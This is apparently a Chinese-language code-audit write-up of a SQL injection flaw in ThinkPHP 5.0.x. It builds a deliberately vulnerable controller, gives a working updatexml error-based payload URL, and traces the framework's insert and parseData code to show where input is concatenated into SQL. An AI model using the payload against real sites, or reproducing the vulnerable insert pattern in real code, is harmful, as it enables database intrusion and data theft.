0x01 前言
这次学习的是thinkphp5.0.x的SQL注入漏洞,文章参考自 https://mochazz.github.io/2018/04/14/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%20%20ThinkPHP%205.0.x%E6%A1%86%E6%9E%B6SQL%E6%B3%A8%E2%BC%8A/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
0x02 过程
先修改框架的 application/index/controller/Index.php 文件
<?php
namespace app\index\controller;
use think\Db;
class Index
{
public function index()
{
//return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
$name = input("get.name/a");
Db::table("users")->where(["id"=>1])->insert(["username"=>$name]);
return "ThinkPHP SQL Test.";
}
}
在数据库使用如下命令
create database thinkphp;
create table users(id int auto_increment primary key,username varchar(20),password varchar(30));
insert into users(id,username,password) values(1,"test","thinkphp");
修改 application/database.php 以及 application/config.php
使用Payload
http://192.168.0.111/thinkphp/public/index.php/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1,0x7e),1)&name[2]=1)
漏洞的触发点在 thinkphp/library/think/db/Query.php 的 insert 函数。通过注释,可以知道程序通过 $this->builder->insert 生成SQL语句,跟进去看看
<?php
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
// 获取参数绑定
$bind = $this->getBind();
if ($options['fetch_sql']) {
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
}
可以看到,在insert还调用了 $this->parseData 处理了数据,继续跟
// thinkphp/library/think/db/Builder.php
<?php
public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
$fields = array_keys($data);
$values = array_values($data);
$sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);
return $sql;
}
可以看到,当我们是参数数组第一个是inc是时候会拼接数据,再来看看 parseKey
// thinkphp/library/think/db/Builder.php
<?php
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}
parsekey会直接返回字符串。
到这里就结束了,返回的SQL语句直接执行导致了SQL注入。